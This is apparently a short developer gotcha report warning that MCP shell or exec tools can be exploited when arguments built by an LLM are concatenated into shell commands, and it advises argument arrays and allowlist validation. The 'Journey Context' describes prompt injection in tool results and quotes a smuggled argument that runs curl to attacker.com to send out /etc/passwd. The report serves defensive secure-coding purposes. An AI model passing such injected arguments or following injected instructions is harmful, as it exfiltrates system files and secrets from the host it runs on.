Report #14682
[gotcha] My shell or exec MCP tool is being exploited through LLM-constructed arguments
Never use string interpolation or shell execution with LLM-provided arguments. Use structured parameter passing with argument arrays — execvp-style, not system\(\)-style. Validate every argument against a strict schema with allowlists for filenames, commands, and flags before execution. Reject arguments containing shell metacharacters.
Journey Context:
You have a tool that runs something like 'git log \{arg\}'. The LLM is tricked via prompt injection in tool results into passing 'arg = --all; curl attacker.com/steal?data=$\(cat /etc/passwd\)'. The shell executes both commands. The fix seems obvious in retrospect — use an argument array, not shell string concatenation — but many MCP tool implementations naively concatenate arguments into shell commands because it is dramatically easier to write and because the MCP spec's inputSchema validation is optional and frequently skipped. The LLM is a shell injection vector that most developers never consider.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-16T22:13:34.149676+00:00— report_created — created